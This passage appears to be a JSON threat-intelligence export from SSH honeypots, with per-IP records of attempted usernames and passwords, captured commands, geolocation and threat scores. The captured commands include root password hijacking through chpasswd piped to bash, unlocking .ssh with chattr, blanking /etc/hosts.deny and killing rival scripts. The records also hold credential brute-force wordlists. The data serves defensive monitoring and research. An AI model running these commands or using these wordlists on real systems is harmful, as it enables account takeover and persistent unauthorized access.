        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"prod\\noft2LbcWshTM\\noft2LbcWshTM\\n\"|passwd",
        "echo \"root:04wMdDDHDNdq\"|chpasswd|bash",
        "echo \"root:msHW1c6cbDwn\"|chpasswd|bash",
        "echo -e \"prod\\noft2LbcWshTM\\noft2LbcWshTM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:22:37.857000+00:00",
        "last_seen_30d": "2026-04-05T20:24:31.189000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 117
      }
    },
    "57.128.223.80": {
      "attack_count": 401,
      "first_seen": "2026-04-12T13:36:11.690Z",
      "last_seen": "2026-04-12T14:16:08.598Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abc",
        "admin",
        "claude",
        "oracle",
        "test",
        "ubuntu",
        "bot",
        "caja01",
        "deploy",
        "frappe",
        "odoo",
        "system",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123zxcZXC",
        "1qaz2wsx!@",
        "2wsx3edc$rfv",
        "Admin8",
        "Claude31",
        "Master123!",
        "Odoo@123",
        "Root321$",
        "User02",
        "Vps@2026",
        "bot13!",
        "demon",
        "frappe13!",
        "molina5651",
        "oracle18!",
        "postgres123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\niNQa2tcjrEs4\\niNQa2tcjrEs4\\n\"|passwd",
        "echo \"Admin8\\nAlMjnAJ1VSzl\\nAlMjnAJ1VSzl\\n\"|passwd",
        "echo \"Claude31\\n3tJHul6q4TGg\\n3tJHul6q4TGg\\n\"|passwd",
        "echo \"oracle18!\\nyc3t4lOi2wG3\\nyc3t4lOi2wG3\\n\"|passwd",
        "echo -e \"1234\\niNQa2tcjrEs4\\niNQa2tcjrEs4\"|passwd|bash",
        "echo -e \"Admin8\\nAlMjnAJ1VSzl\\nAlMjnAJ1VSzl\"|passwd|bash",
        "echo -e \"Claude31\\n3tJHul6q4TGg\\n3tJHul6q4TGg\"|passwd|bash",
        "echo -e \"oracle18!\\nyc3t4lOi2wG3\\nyc3t4lOi2wG3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T13:36:11.690000+00:00",
        "last_seen_30d": "2026-04-12T14:17:08.946000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 73
      }
    },
    "122.169.192.74": {
      "attack_count": 399,
      "first_seen": "2026-04-14T06:14:43.519Z",
      "last_seen": "2026-04-14T07:02:27.704Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "odoo",
        "sopuser",
        "appuser",
        "dev",
        "gitea",
        "kira",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234Qwert",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev30",
        "Frappe17!",
        "Odoo13!",
        "Odoo27",
        "Password12345",
        "QWER1234qwer",
        "Redhat",
        "Root2018!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Changeme_123\\nCPtVrWhACDlV\\nCPtVrWhACDlV\\n\"|passwd",
        "echo \"asdzxc\\nZAglt6wOvRsU\\nZAglt6wOvRsU\\n\"|passwd",
        "echo \"root:7gJpEIGlUa0O\"|chpasswd|bash",
        "echo \"root:bYiW23ElUrDl\"|chpasswd|bash",
        "echo -e \"Changeme_123\\nCPtVrWhACDlV\\nCPtVrWhACDlV\"|passwd|bash",
        "echo -e \"asdzxc\\nZAglt6wOvRsU\\nZAglt6wOvRsU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kothakota",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:14:43.519000+00:00",
        "last_seen_30d": "2026-04-14T07:03:29.699000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 75
      }
    },
    "64.188.83.244": {
      "attack_count": 399,
      "first_seen": "2026-04-21T14:20:42.297Z",
      "last_seen": "2026-04-21T14:48:50.367Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "frappe",
        "ftpuser",
        "git",
        "test",
        "test5",
        "admin",
        "ali",
        "dockeruser",
        "erick",
        "n8n",
        "testuser",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2025!",
        "!@#",
        "123",
        "1475963",
        "1q2w3e4r5t",
        "2222",
        "2345",
        "654321",
        "A123456A0871113890",
        "Admin14",
        "Ali19",
        "FtpUser",
        "Guest2025!",
        "P@ssw0rd@1",
        "abc123",
        "asd!@#",
        "erick",
        "login2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"!@#\\nPnXQusgMpCWH\\nPnXQusgMpCWH\\n\"|passwd",
        "echo \"root:0GhUKxgyrMqs\"|chpasswd|bash",
        "echo \"root:F4I1rGbcbFkm\"|chpasswd|bash",
        "echo \"test5\\nXN97wr9Vdm8e\\nXN97wr9Vdm8e\\n\"|passwd",
        "echo -e \"!@#\\nPnXQusgMpCWH\\nPnXQusgMpCWH\"|passwd|bash",
        "echo -e \"test5\\nXN97wr9Vdm8e\\nXN97wr9Vdm8e\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 209693,
      "as_org": "Oc Networks Limited",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 470,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:20:42.297000+00:00",
        "last_seen_30d": "2026-04-21T14:49:57.017000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 71
      }
    },
    "27.79.1.253": {
      "attack_count": 393,
      "first_seen": "2026-04-10T17:27:10.386Z",
      "last_seen": "2026-04-10T17:54:42.120Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "user",
        "cisco",
        "test",
        "uucp",
        "*****",
        "123456",
        "am",
        "ashish",
        "auto",
        "belkinstyle",
        "brenda",
        "client",
        "config",
        "developer",
        "dubai",
        "guest",
        "guest1"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "uucp",
        "*****",
        "039715582364317",
        "0987654321",
        "123",
        "1234",
        "12345678",
        "123456789",
        "72ca06",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "abcdefg",
        "admin",
        "admin01",
        "admin@123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 588,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:27:10.386000+00:00",
        "last_seen_30d": "2026-04-10T17:55:48.969000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 195
      }
    },
    "43.160.200.19": {
      "attack_count": 372,
      "first_seen": "2026-04-02T11:56:46.908Z",
      "last_seen": "2026-04-26T09:56:23.477Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server",
        "345gs5662d34",
        "test",
        "ubuntu",
        "admin",
        "deploy",
        "desliga",
        "hadoop",
        "k8s",
        "pivpn",
        "postgres",
        "runner",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100dedi@",
        "111",
        "12!@qwQW",
        "12323456",
        "12345678",
        "1234ABC",
        "123izma123",
        "5nWt3P-fF4WosQm5O",
        "Asd123321",
        "M3gaP33!",
        "P@ssword",
        "Pass@12345",
        "Postgres19",
        "QWERQWER",
        "Qazwsx1@123",
        "Root1#",
        "Root@123",
        "Server12!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server15\\nWIK6LdcepwSi\\nWIK6LdcepwSi\\n\"|passwd",
        "echo \"root:uyGex4RBDL1B\"|chpasswd|bash",
        "echo -e \"Server15\\nWIK6LdcepwSi\\nWIK6LdcepwSi\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.9,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 491,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:56:46.908000+00:00",
        "last_seen_30d": "2026-04-26T09:57:28.320000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 119
      }
    },
    "83.111.76.195": {
      "attack_count": 331,
      "first_seen": "2026-04-04T18:37:05.302Z",
      "last_seen": "2026-04-04T19:35:35.165Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "dev",
        "user04",
        "fernando",
        "git",
        "gitlab-runner",
        "hduser",
        "mike",
        "oracle",
        "sambauser",
        "steam",
        "sysadmin",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234567890",
        "Claude2025!@#",
        "P@ssword1!",
        "Qq123456..",
        "Qwerty#2025",
        "Root2018@123",
        "Skemasuprem@890",
        "Test123!",
        "claude27!",
        "dev06!",
        "dev123456",
        "fernando",
        "gitlab-runner1",
        "mike",
        "odoo2025",
        "oracle21!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"dev06!\\nOlOAqUCVsCSx\\nOlOAqUCVsCSx\\n\"|passwd",
        "echo \"root:2fnq8Gzy1K8w\"|chpasswd|bash",
        "echo \"user04\\nKXXDmn1fxnX5\\nKXXDmn1fxnX5\\n\"|passwd",
        "echo -e \"dev06!\\nOlOAqUCVsCSx\\nOlOAqUCVsCSx\"|passwd|bash",
        "echo -e \"user04\\nKXXDmn1fxnX5\\nKXXDmn1fxnX5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:37:05.302000+00:00",
        "last_seen_30d": "2026-04-04T19:36:41.327000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "115.178.75.242": {
      "attack_count": 330,
      "first_seen": "2026-04-12T01:56:07.361Z",
      "last_seen": "2026-04-12T02:39:26.342Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test_user",
        "ubuntu",
        "admin",
        "dev",
        "ftpuser",
        "manager",
        "n8n",
        "oracle",
        "pankaj",
        "test",
        "test1",
        "user",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz2wsx",
        "1qaz#EDC",
        "3edc@@",
        "Abcd123.",
        "Admin13!",
        "Dev13!",
        "QWER2024",
        "Qazwsx1!@#",
        "Qazwsx123@#",
        "QweQwe12",
        "Test_1234",
        "ZAQ!2wsx2021@#",
        "a123123",
        "ftpuser2025",
        "manager",
        "n8n0",
        "oracle31!",
        "pankaj@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:iCJFNXNJxooE\"|chpasswd|bash",
        "echo \"root:iU9HhC7wOAoo\"|chpasswd|bash",
        "echo \"test_user\\nQFuo2L30SFnB\\nQFuo2L30SFnB\\n\"|passwd",
        "echo -e \"test_user\\nQFuo2L30SFnB\\nQFuo2L30SFnB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:56:07.361000+00:00",
        "last_seen_30d": "2026-04-12T02:40:27.937000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 70
      }
    },
    "196.189.237.175": {
      "attack_count": 330,
      "first_seen": "2026-04-19T10:27:07.149Z",
      "last_seen": "2026-04-19T11:08:15.824Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "server",
        "admin",
        "admins",
        "ca",
        "deploy",
        "frappe",
        "postgres",
        "test",
        "tester",
        "ts3user",
        "ubuntu",
        "user",
        "user0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "12345678",
        "1qazxsw2",
        "1qazxsw23edc",
        "Abcd12!!",
        "Admin!123",
        "Changeme_123",
        "Gr123456@",
        "Lky123456",
        "Odoo17!",
        "Q1w2e3r4@",
        "admins",
        "benjamin",
        "depl0y",
        "frappe@",
        "odoo28"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:Vubs3b59Uxsu\"|chpasswd|bash",
        "echo \"root:XYlfYewjcxkS\"|chpasswd|bash",
        "echo \"server13!\\npPi3K8YTZVDc\\npPi3K8YTZVDc\\n\"|passwd",
        "echo -e \"server13!\\npPi3K8YTZVDc\\npPi3K8YTZVDc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Nazr\u0113t",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:27:07.149000+00:00",
        "last_seen_30d": "2026-04-19T11:09:19.733000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 70
      }
    },
    "112.120.171.95": {
      "attack_count": 262,
      "first_seen": "2026-04-21T07:21:54.018Z",
      "last_seen": "2026-04-21T08:02:39.273Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "ubuntu",
        "admin",
        "bb",
        "dev",
        "ftpuser",
        "minecraft",
        "n8n",
        "nodeuser",
        "odoo",
        "pentest",
        "postgres",
        "test",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "2wsx..",
        "A1234569",
        "Abcd12345#$",
        "BYROOT49",
        "Dev4",
        "Hello123",
        "N8n30!",
        "Odoo20!",
        "Ryunosukeqw123qW!@#!@#",
        "Test12345",
        "Zy123456789",
        "admin07",
        "alex1234",
        "d41d8cd98f00b204e9800998ecf8427e",
        "ftpuser07!",
        "nodeuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"BYROOT49\\nbynXfSE60wDm\\nbynXfSE60wDm\\n\"|passwd",
        "echo \"root:iQEdoErTV3Bp\"|chpasswd|bash",
        "echo -e \"BYROOT49\\nbynXfSE60wDm\\nbynXfSE60wDm\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T07:21:54.018000+00:00",
        "last_seen_30d": "2026-04-21T08:03:42.774000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "177.85.247.230": {
      "attack_count": 262,
      "first_seen": "2026-04-11T11:24:40.639Z",
      "last_seen": "2026-04-11T12:10:01.638Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "qa",
        "admin",
        "allinone",
        "david",
        "dev",
        "frappe",
        "git",
        "odoo8",
        "omega",
        "publicuser",
        "sammy",
        "server",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2wsx3edc$RFV",
        "66666",
        "Frappe1",
        "Hello123",
        "Hf123456",
        "P@ssw0rd!!",
        "QQaa111",
        "QWERTYUIOP1",
        "Qazwsx2025!@#",
        "Root22!",
        "Server!@#$",
        "admin17",
        "allinone",
        "asdf1234",
        "david@123",
        "dev321",
        "odoo8",
        "omega123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qa\\nUT1rDbSALqaj\\nUT1rDbSALqaj\\n\"|passwd",
        "echo \"root:AtGYdPbMeR2t\"|chpasswd|bash",
